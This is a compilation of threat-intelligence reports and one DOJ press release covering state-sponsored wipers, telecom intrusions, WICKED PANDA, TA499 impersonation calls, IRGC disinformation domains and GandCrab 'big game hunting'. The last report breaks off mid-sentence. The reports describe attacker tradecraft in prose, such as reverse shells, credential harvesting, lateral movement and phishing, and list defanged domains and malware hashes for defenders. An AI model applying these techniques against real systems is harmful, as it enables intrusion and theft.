## Global Trend: State-Sponsored Destructive Activity Although 2018 lacked the high-profile ransomware and pseudo-ransomware incidents, like the WannaCry and NotPetya operations of 2017, CrowdStrike Intelligence attributed a number of disruptive incidents to state-sponsored targeted intrusion adversaries. ### A Summary of Destructive Malware Incidents | Adversary | Malware | Target Sector | Context | |-----------|---------|---------------|---------| | STARDUST CHOLLIMA | Dimens | Financial | The DPRK-based adversary STARDUST CHOLLIMA has been linked with medium confidence to the use of wipers in currency-generation operations targeting the financial sector in Latin America. It is possible these tools were used to destroy forensic evidence and hide the theft of funds. | | VOODOO BEAR | OlympicDestroyer | Sporting Event | In February 2018, the Russia-based actor VOODOO BEAR deployed a wiper to target organizations associated with the PyeongChang Winter Olympic Games. This activity followed a December 2017 decision by the International Olympic Committee (IOC) to ban Russia from competing in the Games. | | Possible Iran-Based Adversary | Shamoon | Oil & Gas | In December 2018, CrowdStrike Intelligence reported on the return of the infamous Shamoon wiper. Like previous versions of this attack, the latest incident affected oil and gas entities with a nexus to Saudi Arabia. | ## Global Trend: Telecom-Related Targeting Throughout 2018, CrowdStrike Intelligence identified several targeted intrusion campaigns with a demonstrated focus on the telecommunications (telecom) sector, which have manifested as follows: - Directly targeting organizations in the telecom sector - Compromising vulnerable telecom equipment - Using lures referencing telecom services This trend likely supports state-sponsored espionage actors as they seek to gain access to a broad customer base that relies on telecom services. ### China: Evidence of Upstream Targeting Several suspected China-based actor groups were linked to telecom targeting, with some incidents demonstrating a specific interest in using telecom access or lures to enable operations against government sector targets in Asia. The targeting of the telecom sector is historically within the scope of several Chinese adversaries; however, the number of operations affecting this sector, or using lures referencing telecom services, suggests an increase in China-based cyber espionage operations on a larger scale, and supports previous assessments that these adversaries regularly engage in upstream targeting. ### Iran Directly Targets Telecom Sector CrowdStrike Intelligence identified two instances of Iranian adversaries directly targeting the telecom sector in 2018. In June 2018, STATIC KITTEN leveraged its bespoke NTSTATS malware against a Saudi Arabia-based telecom company; both Saudi Arabia and the telecom sector are part of this adversary’s target scope. Then, in November 2018, Falcon OverWatch observed HELIX KITTEN activity at a customer in the telecom sector, signaling a shift in the target scope for this adversary. Access to a nationwide telecom provider could support intelligence collection objectives, specifically the bulk collection of personally identifiable information (PII), SMS and call logs, and geolocation data. This operation could also enable the subsequent targeting of the company’s customers, and possibly destructive attacks. ### Russia’s Compromise of Telecom Equipment In May 2018, the U.S. Department of Justice (DoJ) issued a press release detailing actions performed by the FBI Cyber Division to disrupt the VPNFilter botnet. Both the affidavit and public reporting link VPNFilter to Russia’s Main Intelligence Directorate (GRU). VPNFilter largely targeted small office/home office (SOHO) routers, which are typically vulnerable due to the lack of security updates and/or inconsistent monitoring. The network-sniffing functionality of the malware suggests that it could be used to perform reconnaissance on network nodes connected to infected devices, in preparation for further compromise. ## OverWatch Intrusion Report ### Unidentified State-Sponsored Adversaries: Targeting Linux Networks at Telecom Providers Falcon OverWatch has been analyzing a long-term intrusion involving a deeply-embedded, persistent adversary targeting a telecom company. The threat actors repeatedly attacked Linux systems within the company’s network, though Windows machines were also victimized at times. In this attack, the adversary had previously compromised an internal Linux host by unknown means, prior to OverWatch coverage, and were using the host as its primary staging point. The adversary used this beachhead for hosting tools to enable further penetration throughout the victim’s network, including a port scanner and a password brute-forcing tool. From there, the actor performed internal network scanning, remote system discovery, and host enumeration. OverWatch also observed the actor making use of base64-encoded Perl commands to collect various files, including (but not limited to) configuration files and the contents of bash history files. These files were then archived using the GNU tar utility as part of staging, prior to exfiltration. In addition, the actor implemented an open-source Perl-based Socks5 proxy to further pivot through the internal network. OverWatch also found that the adversary modified and timestomped SSH private key files to help cover its tracks. Additional analysis discovered daily scripted routing used to harvest data from a customer database, facilitated by use of a re-compiled open-source SSH tunneler. Later, the same actor returned using valid credentials. The operator attempted to re-establish persistence by installing a backdoored version of the SSH client and server. ### WICKED PANDA: Joining the Crowd Targeting Hospitality Sector The CrowdStrike 2018 Global Threat Report highlighted the hospitality sector as one that adversaries had been targeting heavily in 2017. The trend continued in 2018. In October 2018, OverWatch identified adversary activity against another global hospitality victim. The actor compromised a running SQL Server process and attempted to upload and execute an open-source PowerShell Empire implant, which was intended to open a reverse TCP shell to the adversary-controlled domain voda.dns04[.]com. However, Falcon endpoint protection blocked the PowerShell command. The actor also used PowerShell to deploy a simple ASPX web shell and carried out some basic reconnaissance showing interest in a number of web server directories, configuration files, and a specific user account. The adversary later returned and used the echo and certutil utilities alongside PowerShell to write several additional files to disk, including: - A suspected Cobalt Strike implant, capable of communicating via both DNS and HTTPS - A VBScript base64 decode routine, possibly taken from the Rex Exploitation Framework - A known ASPX web shell sourced from a Chinese-language GitHub project - Two binaries related to the Derusbi family of Remote Access Tools (RATs) The operator attempted to use their Cobalt Strike implant to harvest credentials from the running LSASS process, but this was also blocked by Falcon. Similarly, the Derusbi malware did not execute successfully. The web shell file was also written to a mapped network drive associated with a second host, likely to facilitate lateral movement; however, no actor behavior was observed on the second machine. Further analysis found multiple overlaps between this intrusion and the adversary tracked as WICKED PANDA. TTP overlap included use of Derusbi, Cobalt Strike, and GitHub for facilitating the intrusion. The command and control (C2) infrastructure also had links to WICKED PANDA. For example, the C2 domain used for the PowerShell Empire implant in this case (voda.dns04[.]com) shows resolved IP address overlap with the domain money.moneyhome[.]biz, which CrowdStrike Intelligence previously attributed to WICKED PANDA with medium confidence, when it was used in intrusions against the mining sector earlier in 2018. These two domains resolved to the IP address 67.229.97[.]229 within weeks of each other in late September and early October 2018. While OverWatch has identified WICKED PANDA attacking victims in other sectors such as technology, manufacturing, and mining, this is the first incident in which CrowdStrike has linked WICKED PANDA to hospitality sector targeting. ## Conclusion The fight continues, and we will never rest in our pursuit of adversaries seeking to damage, disrupt, extort, or steal. Throughout the Global Threat Report, you will see the talent, expertise, and dedication of our CrowdStrike team combining with the power of our technology to stop the most sophisticated adversaries. We’re eager to share what we’ve learned because of our uncompromising commitment to defeat the nation-states, e-crime actors, hackers, and cybercriminals threatening our commerce and invading our privacy. **George Kurtz** CrowdStrike CEO and Co-Founder
# Don’t Answer That! Russia-Aligned TA499 Beleaguers Targets with Video Call Requests **March 07, 2023** Zydeca Cass and the Proofpoint Threat Research Team ## Key Takeaways - TA499, also known as Vovan and Lexus, is a Russia-aligned threat actor that has aggressively engaged in email campaigns since at least 2021. - The threat actor’s campaigns attempt to convince high-profile North American and European government officials, as well as CEOs of prominent companies and celebrities, into participating in recorded phone calls or video chats. - The calls are almost certainly a pro-Russia propaganda effort designed to create negative political content about those who have spoken out against Russian President Vladimir Putin and, in the last year, opposed Russia’s invasion of Ukraine. - TA499 is not a threat to take lightly due to the damage such propaganda could have on the brand and public perception of those targeted, as well as the perpetuation of disinformation. ## Overview Proofpoint researchers have been tracking malicious email campaigns by the Russia-aligned TA499, publicly known as Vovan and Lexus, since early 2021. TA499’s campaigns began to ramp up in late January 2022, culminating in increasingly aggressive attempts after Russia invaded Ukraine in late February 2022. Since that time, the threat actor has engaged in steady activity and expanded its targeting to include prominent businesspeople and high-profile individuals that have either made large donations to Ukrainian humanitarian efforts or those making public statements about Russian disinformation and propaganda. These messages try to solicit information from the targeted individuals and entice them into further contact via phone calls or remote video. The emails have not contained malware, only communications or invitations purporting to be from an embassy of Ukraine, Ukraine’s Prime Minister, a Ukrainian parliamentarian, or their assistants. Proofpoint tracks TA499 as an impersonation-based, patriotically motivated misinformation pair of actors aligned with the Russian state. The group has a record of targeting high-profile persons of interest that have spoken out about the Russian regime, in favor of sanctions against Russia, and against the detainment of well-known Russian opposition leader Alexei Navalny. While the level of official government support TA499 receives is unknown, the recordings are generally used to garner support and sympathy for the current Russian regime and their actions. ## Critiques of Putin, Russia Spur TA499 Action in 2022 TA499’s email campaigns kicked into high gear as tensions built between Russia and Ukraine and have not abated since Russia invaded Ukraine in February 2022. Since late January 2022, the threat actor has largely focused its email attempts on scheduling a video or phone call meeting with high-profile North American or European government officials and CEOs of prominent companies. In a shift from their 2021 activity, these campaigns have almost exclusively centered on topics relating to the Russia-Ukraine war. Even after TA499 expanded its victimology in March 2022 to include public figures not in government positions, such as businesspeople and celebrities, the threat actor kept with these same social engineering themed lures. Only in the latter half of 2022 did TA499 begin to reincorporate some of its pre-war themes and email addresses, but those continue to be a fraction of their overall activity. ### Early 2022 TA499’s initial 2022 campaigns used the same actor-controlled domain (oleksandrmerezhko.com) and sender address ([email protected]) as its 2021 campaigns, and directly targeted individuals that had spoken out regarding: - Bill to Arm Ukraine against Russia - Support of Sanctions on the Nord Stream II Pipeline - Bombing of Russian military assets and other military actions By March 2022, amid a backdrop of condemnation by the international community of Russian President Vladimir Putin’s actions in Ukraine and the instatement of sanctions, TA499 adopted new personality impersonations. Most notably, the threat actor began to masquerade as the Ukrainian Prime Minister Denys Shmyhal and his purported assistant. To make the emails convincing in their legitimacy, the sender addresses leveraged the popular internet service and email provider Ukr.net and pretended to be from either “the Embassy of Ukraine to the US” or “the Embassy of Ukraine in the US:” [email protected] and [email protected]. The subjects focused on Ukrainian officials making requests of the targets, such as: - Ukrainian Parliament – [Target Name]. Request - Prime Minister of Ukraine. Request - Ukrainian Parliament – [Target Name] - Embassy of Ukraine - CEO [Target Name]. Request As seen in the analysis, Proofpoint researchers identified and tracked this new activity through TA499’s preference for including their new sender addresses in the TO: or CC: lines of email campaigns leveraging older addresses. It is important to note that the threat actor cycles through its addresses. While one may appear to have gone dormant, it could return in future TA499 campaigns. ### Mid-2022 By mid-2022, TA499 started to explore using an additional embassy-themed email address ([email protected]) and even utilized an actor-controlled International Atomic Energy Agency (IAEA)-themed domain ([email protected]) to send emails with a subject line of “URGENT: IAEA Director General” to international aides and assistance of senior government officials. The timing of this activity aligned with a public statement by the IAEA Director General about the urgent situation at Ukraine’s Zaporizhzhia nuclear power plant. It is likely that the international attention surrounding the state of the power plant inspired TA499’s decision to use an IAEA lure. ### A Return to Early TA499 Themes Through the rest of 2022, TA499 integrated email addresses not observed in Proofpoint data since at least March 2022, including those pretending to be Oleksandr Merezhko, a Ukrainian Member of Parliament (MP) and Vice President of the Parliamentary Assembly of the Council of Europe (PACE), and Leonid Volkov, the Chief of Staff for Russian opposition leader Alexei Navalny. Navalny has long been a focus for TA499 campaigns with the threat actor targeting individuals with an interest in and publicly positive stances on the oppositionist since early 2021. Timeline analysis and Proofpoint telemetry have revealed targeting of individuals explicitly involved in the statements condemning the arrest of Navalny on February 2nd, 2021, and the reintroduction of the Holding Russia Accountable for Malign Activities Act of 2021 on February 3rd, 2021. ### The World is Watching…On YouTube (or RUTUBE) TA499 posts recordings of its video calls on YouTube and RUTUBE. One of the threat actor’s YouTube channels was taken down early in the Russia-Ukraine war, forcing TA499 to revert to using one of its older YouTube channels for posting. For high-profile targets that agree to follow-up video calls, TA499 has pretended to be various people, going so far as to use extensive makeup to appear exactly like the impersonated individual. They have masqueraded as the Prime Minister of Ukraine, Denys Shmyhal, and Oleksandr Merezhko. Video calls recorded in 2021 show TA499 impersonating Leonid Volkov as well. Open-source reporting has detailed the use of Deepfake Artificial Intelligence software to explain how TA499 takes on Volkov’s appearance, and possibly that of others, though the malicious actor denies the use of the software. The actor does not appear to be using any voice modulation, primarily focusing on the targets’ lack of familiarity with the contact and the element of surprise. Conversations with TA499 typically begin serious and allow the target to voluntarily say as much information as possible. Once the target begins asking questions, the actor mirrors the target’s replies to keep the conversation going. Some of the 2021 videos with the threat actor have the Leonid Volkov impersonator asking for financial support and appear to encourage the target into voicing particular obligations and efforts in tandem with the Russian opposition led by Navalny. Once the target makes a statement on the matter, the video devolves into antics, attempting to catch the target in embarrassing comments or acts. The recordings are then edited for emphasis and placed on YouTube and Twitter for Russian and English-speaking audiences. ## Conclusion TA499 is a very public group that is garnering a fan following. They have personas that not only post the material discussed in this report online but also perform reenactments on Russian state-sponsored media as well as attend conferences. With the war between Russia and Ukraine unlikely to end in the near-term and Ukraine continuing to garner support from organizations worldwide, Proofpoint assesses with high confidence that TA499 will attempt to continue with its campaigns in support of its influencer content and political agenda. TA499 is likely to reuse old or establish additional infrastructure in support of this activity. Being a target of this group is gradually becoming more common. While the primary targeting of TA499 remains the C-level or the highest profile positions possible at any given entity, Proofpoint recommends that anyone who suspects they might be a target of TA499’s take care in verifying the identities of those inviting them to conduct business or discuss political topics over video conferencing. In particular, if high-profile individuals reach out suddenly via email and without prior introduction through a known and verified source, you should proceed with caution. ## Indicators of Compromise (IOCs) | Indicator | Type | Description | |-------------------------------------------|----------------------|---------------------------------| | [email protected] | Sender address | 2022 campaigns | | [email protected] | Sender address | 2022 campaigns | | [email protected] | Sender address | 2022 campaigns | | [email protected] | Sender address | 2022 campaigns | | [email protected] | Sender address | 2022 campaigns | | [email protected] | Sender address | 2022 campaigns | | [email protected] | Sender address | 2022 campaign | | iaea.com.uk | Domain | 2022 campaign | | oleksandrmerezhko.com | Domain | 2021 & 2022 campaigns | | navalny.team | Domain | 2021 campaigns | | [email protected] | Sender address | 2021 & 2022 campaigns | | [email protected] | Sender address | 2021 campaigns | | [email protected] | Sender address | 2021 campaigns |
# United States Seizes Domain Names Used by Iran’s Islamic Revolutionary Guard Corps **October 7, 2020** Department of Justice Office of Public Affairs The United States has seized 92 domain names that were unlawfully used by Iran’s Islamic Revolutionary Guard Corps (IRGC) to engage in a global disinformation campaign, announced the Department of Justice. According to the seizure documents, four of the domains purported to be genuine news outlets but were actually controlled by the IRGC and targeted the United States for the spread of Iranian propaganda to influence United States domestic and foreign policy in violation of the Foreign Agents Registration Act (FARA). The remainder spread Iranian propaganda to other parts of the world. In addition, the seizure documents describe how all 92 domains were being used in violation of U.S. sanctions targeting both the Government of Iran and the IRGC. “We will continue to use all of our tools to stop the Iranian Government from misusing U.S. companies and social media to spread propaganda covertly, to attempt to influence the American public secretly, and to sow discord,” said Assistant Attorney General for National Security John C. Demers. “Fake news organizations have become a new outlet for disinformation spread by authoritarian countries as they continue to try to undermine our democracy. Today’s actions show that we can use a variety of laws to vindicate the value of transparency.” “Today we are 92 domains closer to shutting down Iran’s worldwide disinformation campaign,” said U.S. Attorney David L. Anderson for the Northern District of California. “This important work will continue. Iran cannot be allowed to hide behind fake news sites. If Iran wants to be heard using U.S. facilities, it must reveal its true colors.” “Today, we successfully seized 92 domains involved in a disinformation campaign conducted by Iran-based actors to promote pro-Iranian propaganda. This investigation, initiated by intelligence we received from Google, was a collaborative effort between the FBI and social media companies Google, Facebook, and Twitter,” said FBI Special Agent in Charge Bennett. “This case is a perfect example of why the FBI San Francisco Division prioritizes maintaining an ongoing relationship with a variety of social media and technology companies. These relationships enable a quick exchange of information to better protect against threats to the nation’s security and our democratic processes. The FBI also urges the public to remain vigilant about the information they find and share on social media. Every citizen must do their part to use a critical eye and look for trusted sources of information. We all have a role to play in protecting the American democratic system from foreign adversaries.” Pursuant to the International Emergency Economic Powers Act (IEEPA), unauthorized exports of goods, technology or services to Iran, directly or indirectly from the United States or by a United States person are prohibited. Pursuant to the IEEPA, the Secretary of the Treasury promulgated the Iranian Transactions and Sanctions Regulations (ITSR) that prohibit the provision of services to the Government of Iran without a license. The Department of Treasury may issue a license through its Office of Foreign Assets Control (OFAC). Further, the United States has found that the IRGC has provided material support to a number of terrorist groups, including Hizballah, Hamas, and the Taliban and, on April 15, 2019, the IRGC was designated as a Foreign Terrorist Organization by the United States Government. In this case, the United States seized 92 domain names on Oct. 7, 2020, pursuant to a seizure warrant. The seizure documents describe how the 92 seized domain names were being operated in violation of federal law. Four of the domain names, “newsstand7.com,” “usjournal.net,” “usjournal.us,” and “twtoday.net,” were seized pursuant to FARA. FARA establishes a registration, reporting, and disclosure regime for agents of foreign principals so that the U.S. government and the people of the United States are informed of the source of information and the identity of persons attempting to influence U.S. public opinion, policy, and law. FARA requires, among other things, that persons subject to its requirements submit periodic registration statements containing truthful information about their activities and the income earned from them. Disclosure of the required information allows the federal government and the American people to evaluate the statements and activities of such persons in light of their function as foreign agents. Here, the four domains purported to be independent news outlets, but were actually operated by or on behalf of the IRGC to target the United States with pro-Iranian propaganda in an attempt to influence the American people to change United States foreign and domestic policy toward Iran and the Middle East. These domains targeted a United States audience without proper registration pursuant to FARA and without notifying the American public with a conspicuous notice that the content of the domains was being published on behalf of the IRGC and the Government of Iran. In addition, the remaining 88 domains targeted audiences in Western Europe, the Middle East, and South East Asia and masqueraded as genuine news outlets while actually being operated by the IRGC to spread pro-Iranian disinformation around the globe to the benefit of the Government of Iran. The Government of Iran and the IRGC utilized website and domain services in the United States without a license from OFAC. All 92 domains are owned and operated by United States companies. Neither the IRGC nor the Government of Iran obtained a license from the Office of Foreign Assets Control prior to utilizing the domain names. Visitors to the sites received the following message: This seizure was investigated by the Federal Bureau of Investigation. The Special Prosecutions Section and Asset Forfeiture Unit of the U.S. Attorney’s Office for the Northern District of California, and the Counterintelligence and Export Control Section of the Department of Justice’s National Security Division, are prosecuting the seizure.
# PINCHY SPIDER Adopts “Big Game Hunting” to Distribute GandCrab Brendon Feeley, Bex Hartley and Sergei Frankoff March 6, 2019 CrowdStrike® Intelligence has recently observed PINCHY SPIDER affiliates deploying GandCrab ransomware in enterprise environments, using lateral movement techniques and tooling commonly associated with nation-state adversary groups and penetration testing teams. This change in tactics makes PINCHY SPIDER and its affiliates the latest eCrime adversaries to join the growing trend of targeted, low-volume/high-return ransomware deployments known as “big game hunting.” PINCHY SPIDER is the criminal group behind the development of the ransomware most commonly known as GandCrab, which has been active since January 2018. PINCHY SPIDER sells access to use GandCrab ransomware under a partnership program with a limited number of accounts. The program is operated with a 60-40 split in profits (60 percent to the customer), as is common among eCrime actors, but PINCHY SPIDER is also willing to negotiate up to a 70-30 split for “sophisticated” customers. ## GandCrab: Highly Developed and Prevalent GandCrab has established itself as one of the most developed and prevalent ransomware families on the market. Development of the ransomware itself has been driven, in part, by PINCHY SPIDER’s interactions with the cybersecurity research community. GandCrab contains multiple references to members of the research community who are both publicly active on social media and have reported on the ransomware. The main catalyst for dedicated development by PINCHY SPIDER, however, has been an ongoing battle with cybersecurity providers that are actively developing GandCrab mitigations and decryptors. PINCHY SPIDER has responded by deploying fixes and even developed a zero-day exploit aimed at customers of one of those providers. ## PINCHY SPIDER Advertises for Affiliates PINCHY SPIDER has continued to promote the success of its ransomware in criminal forum posts, often boasting about public reporting of GandCrab incidents. In February, PINCHY SPIDER released version 5.2 of GandCrab, which is immune to the decryption tools developed for earlier versions of GandCrab and in fact, was deployed the day before the release of the latest decryptor. Recently, PINCHY SPIDER has also been observed advertising for individuals with remote desktop protocol (RDP) and VNC (Virtual Network Computing) skills, and spammers who have experience in corporate networking. ## GandCrab Identified by CrowdStrike Intel CrowdStrike Intelligence first identified new GandCrab ransomware deployment tactics in mid-February, when a threat actor was observed performing actions on a victim host in order to install GandCrab. Though initially unsuccessful, the threat actor returned later to perform further reconnaissance on the victim network. The following day, the threat actor returned a third time and manually removed security software from the host that was preventing the installation of GandCrab. Using RDP and stolen credentials from the initially compromised host, the threat actor then proceeded to move laterally around the victim network and was able to deploy GandCrab across several other hosts. Throughout the reconnaissance process, the threat actor used system administration tools such as Sysinternals Process Monitor, Process Hacker, and a file search tool called LAN Search Pro to assist with the collection of information from the hosts. Details of the affiliates and GandCrab versions observed adopting these tactics can be seen in Table 1. | Affiliate ID | Sub-group ID | GandCrab Version | |--------------|--------------|------------------| | 23 | 23 | 5.2 | | 110 | 1276 | 5.1 | **Table 1. GandCrab Affiliates Observed Adopting Big Game Hunting Tactics** ## Domain Controller Access Observed Near the end of February, CrowdStrike Intelligence observed another incident in which similar manual lateral movement techniques were used to deploy GandCrab across multiple hosts in an enterprise. This incident began with a compromise that resulted in the threat actor gaining control of the enterprise domain controller. Once Domain Controller access was acquired, the threat actor used the enterprise’s own IT systems management software, LANDesk, to deploy a loader to hosts across the enterprise. This loader, known as Phorpiex Downloader, is not specifically tied to GandCrab or PINCHY SPIDER, and it has previously been observed dropping other malware, such as Smoke Bot, Azorult, and XMRig. In this instance, Phorpiex served two main purposes for the threat actor. First, it spread itself to all removable drives on the infected hosts in order to further propagate throughout the network. Second, it downloaded and executed GandCrab on the infected hosts. ## Expanding to Adopt “Big Game Hunting” Tactics The change in deployment tactics observed in these recent incidents, coupled with PINCHY SPIDER’s advertising for individuals with skills in RDP/VNC and experience in corporate networking, suggest PINCHY SPIDER and their affiliates are expanding to adopt big game hunting tactics. The one difference in the tactics adopted by PINCHY SPIDER, versus most other adversaries who practice big game hunting, is the monetization model. Typically, a single payment would be requested to unlock the whole enterprise, as has been observed in INDRIK SPIDER and GRIM SPIDER intrusions. However, PINCHY SPIDER is encrypting individual hosts on the enterprise network and requesting payment on a per-host basis. It should be noted that PINCHY SPIDER is not completely alone in this strategy. BOSS SPIDER used both enterprise and per-host pricing during their campaigns. As reported in the CrowdStrike 2018 Global Threat Report, big game hunting was a trend that helped define the criminal threat landscape in 2018. This latest activity underscores the fact that additional eCrime adversaries are aspiring to adopt this operational model. Both INDRIK SPIDER (with BitPaymer ransomware) and GRIM SPIDER (with Ryuk ransomware) have made headlines with their high profile victims and ransom profits, demonstrating that big game hunting is a lucrative enterprise. Running successful big game hunting operations results in a higher average profit per victim, allowing adversaries like PINCHY SPIDER and their partners to increase their criminal revenue quickly. ## Related Indicators of Compromise **IOCs** **Phorpiex Loader SHA256** 5a1ab27b99f3fe6cbe825f2743c77347a7339783f8a22d99a54be2d07b94c1a8 **Table 2. Phorpiex IOCs Associated with Observed Activity** **IOCs** **GandCrab v5.1 SHA256** 0741e7c0b02f6ef0b28d00a7467bf91edb0cb0f6f20dc1fbed76119c7ae79b4f **Table 3. GandCrab v5.1 IOCs Associated with Observed Activity** **IOCs** **GandCrab v5.2 SHA256** 329b3ddbf1c00b7767f0ec39b90eb9f4f8bd98ace60e2f6b6fbfb9adf25e3ef9 bd16b703cd20e622e3e70e71bb4c68d1d1a3e14462f4b09978bbbb14e41625dc d7ffa0d8566702474790d7cbbbf9d51e9937d82582f82e1a00ddb1c489700d62 d860bdf0d56a66f0e1b502067d07bdb595f60ef8c43de6b9caf5492a429426d6 f70d73b6c3f61f412567bf74d4f1fba052ddccf0f8b2e61a6c69de9c8c5e6ec1 fb136c8360d1a5ab80f61109c55c5a788aa1d8796d1e75aca8c1a762b598d3f4 **Table 4. GandCrab v5.2 IOCs Associated with Observed Activity**
# Threat Group-4127 Targets Google Accounts **Author:** SecureWorks Counter Threat Unit™ Threat Intelligence ## Summary SecureWorks® Counter Threat Unit™ (CTU) researchers track the activities of Threat Group-4127 (TG-4127), which traditionally targets governments, military, international non-governmental organizations (NGOs), and most recently, Hillary Clinton’s email. Components of TG-4127 operations have been reported under the names APT28, Sofacy, Sednit, Fancy Bear, and Pawn Storm. CTU™ researchers assess with moderate confidence that the group is operating from the Russian Federation and is gathering intelligence on behalf of the Russian government. In June 2016, CTU researchers published analysis of a TG-4127 campaign that targeted email accounts linked to Hillary Clinton’s 2016 presidential campaign and the U.S. Democrat National Committee. The activity used the same technique as a 2015 spearphishing campaign that targeted more than 1,800 Google Accounts. The threat group used the Bitly URL-shortening service to hide the location of a spoofed Google login page. Many of the accounts in the 2015 campaign belonged to individuals in Russia and the former Soviet states, but some belonged to current and former military and government personnel in the U.S. and Europe, individuals working in the defense and government supply chain, and authors and journalists, particularly those with an interest in Russia. The range of targets demonstrates that the threat group poses a broad threat to individuals and groups associated with U.S. politics, to organizations and individuals in the government and defense verticals, and to those whose business involves commenting on Russia. ## Spearphishing Google Accounts In mid-2015, CTU researchers discovered TG-4127 using the accoounts-google.com domain in spearphishing attacks targeting Google Account users. The domain was used in a phishing URL submitted to Phishtank, a website that allows users to report phishing links. Recipients who clicked the link were presented with a fake Google Account login page. The threat actors could use entered credentials to access the contents of the associated Gmail account. ### Encoded target details Analysis of the phishing URL revealed that it includes two Base64-encoded values. The decoded Base64 values match the Gmail account and its associated Google Account username. If a target clicks the phishing link, the username field of the displayed fake Google Account login page is prepopulated with the individual’s email address. ### Use of the Bitly URL-shortening service A Bitly URL was uploaded to Phishtank at almost the same time as the original spearphishing URL. Using a tool on Bitly’s website, CTU researchers determined that the Bitly URL redirected to the original phishing URL. Analysis of activity associated with the Bitly account used to create the shortened URL revealed that it had been used to create more than 3,000 shortened links used to target more than 1,800 Google Accounts. ## Target analysis CTU researchers analyzed the Google Accounts targeted by TG-4127 to gain insight about the targets and the threat group’s intent. ### Focus on Russia and former Soviet states Most of the targeted accounts are linked to intelligence gathering or information control within Russia or former Soviet states. The majority of the activity appears to focus on Russia’s military involvement in eastern Ukraine; for example, the email address targeted by the most phishing attempts was